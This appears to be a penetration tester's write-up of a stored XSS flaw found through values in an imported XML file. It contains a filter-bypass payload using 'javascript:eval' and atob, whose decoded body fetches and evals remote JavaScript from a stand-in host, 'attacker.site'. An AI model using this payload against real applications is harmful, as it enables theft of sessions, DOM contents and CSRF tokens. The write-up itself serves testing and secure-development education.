XSS Via XML Value Processing
XXE is not the only vulnerability that can be introduced to a web application when processing XML files. If the values within strings are not handled correctly, it may also be possible for an attacker to introduce a cross-site scripting payload that could be triggered any under circumstance where the value is returned to a user.
Let’s take a look at an example of this in from a recent web application test.
The application itself allowed an end user to import an XML file from which it returned information to users in other areas of the application at a later stage. Generally, this is where several vulnerabilities can be introduced in to an application:
- File upload weaknesses, such as the ability for an attacker to upload a shell file causing RCE or spread malware
- If importing an XML file, then XXE could be introduced — both blind and returned to the user almost instantaneously
- XSS where file names are not handled correctly and the filename is returned to users in the application
- Targeted exploitation of vulnerabilities in server-side libraries, eg. ImageTragik
In this instance, the issue was found by manually fuzzing the XML file values, originally looking for XXE weaknesses. While the application handled XML files correctly — dropping values containing characters such as ‘<’ or ‘&’, it was noticed that this seemed to be a regex sanitisation, and characters such as ‘(‘ and ‘:’ were left intact.
By previously stepping through the application the way a regular user would it was found where the values of a field in the XML file was returned to the user. As part of processing, the value could be added to a queue via a button ‘onclick’ event. The HTML code before injecting payload looked like:
onlick="function('value');"
Where ‘value’ was the value specified in the XML file. As the handler was already present within the application, it was not possible to break out of the event, so instead this had to be manually closed. At this point, a generic, basic proof-of-concept was possible:
‘);alert(1);(‘
This served the following:
- Manually closed the value added to the function
- Added a JavaScript action
- Closed the ‘onclick’ event (essentially added a non-existant value to the end)
However, generally basic pop-up events don’t demonstrate the full extent to which an XSS vulnerability may be exploited. Further fuzzing showed the following:
- Characters that broke the XML file were dropped (angle brackets, ‘&’, ‘%’)
- ‘Eval()’ was dropped
- If the event wasn’t closed, it caused errors in the HTML
One of the drawbacks of manual sanitisation via regex, is that unless you are aware of all the possible combinations an attacker may attempt injection, the chances of missing a payload string via regex can be somewhat high. This application appeared to be searching for a payload string where ‘eval(‘ existed as the standalone function. However, by preceding eval with another string that doesn’t break the eval action itself, it was possible to bypass the regex search. As having an entire malicious JavaScript payload in a single injection can be somewhat tedious, an external script was pulled in that showed it would be possible to take screenshots, capture the DOM, CSRF tokens etc (thanks to xsshunter.com)
The final payload looked like this:
‘); javascript:eval(atob(‘ZXZhbCgnZnVuY3Rpb24gYigpe2V2YWwodGhpcy5yZXNwb25zZVRleHQpfTthPW5ldyBYTUxIdHRwUmVxdWVzdCgpO2EuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsIGIpO2Eub3BlbigiR0VUIiwgIi8vYXR0YWNrZXIuc2l0ZSIpO2Euc2VuZCgpOycp’)); (‘
- ‘javascript:eval’ : bypasses a regex that looks just for the ‘eval’ text
- ‘atob(’ : base64 decodes the following string
The base64 string decodes to:
eval(‘function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener(“load”, b);a.open(“GET”, “//attacker.site”);a.send();’)
- The second ‘eval’ means that the following JavaScript function is executed
- The function itself retrieves a JavaScript file from an external site
- The JavaScript file is responsible for any malicious actions the attacker desires to take
Whilst the vulnerability itself was present, the actual location of the payload itself meant it wasn’t exactly feasible for exploitation. As the payload was part of the value returned on screen, it was highly visible before the user clicked on the button to actually action the payload. As the payload was being inserted in to the event, it was only able to be actioned once a user clicked on the button. Prior to this, the value was treated entirely as a string when being reflected on the page.
That said, if the value had instead been inserted into a hidden field on the page, or the developer added a function later that did some sort of automated processing of the value, it is highly likely this would have become a 0-click, ‘action on page load’ payload.